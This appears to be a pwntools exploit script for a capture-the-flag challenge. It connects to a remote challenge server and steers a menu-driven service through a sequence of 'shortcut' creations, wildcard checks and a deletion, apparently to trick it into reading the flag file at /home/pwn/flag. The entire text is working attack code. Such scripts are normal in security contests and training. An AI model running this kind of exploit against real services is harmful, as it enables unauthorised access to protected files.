from pwn import *
context.log_level = 'debug'
p = remote("43.203.26.108", 1337)
p.sendlineafter("option:", str(2))
p.sendlineafter("shortcut name:", "as")
p.sendlineafter("a path:", "/home/pwn/chall")
p.sendlineafter("option:", str(1))
p.sendlineafter("you want to check:", "*as*")
p.sendlineafter("option:", str(4))
p.sendlineafter("option:", str(2))
p.sendlineafter("shortcut name:", "as")
p.sendlineafter("a path:", "/home/pwn/flag")
p.sendlineafter("option:", str(1))
p.sendlineafter("you want to check:", "*as*")
p.interactive()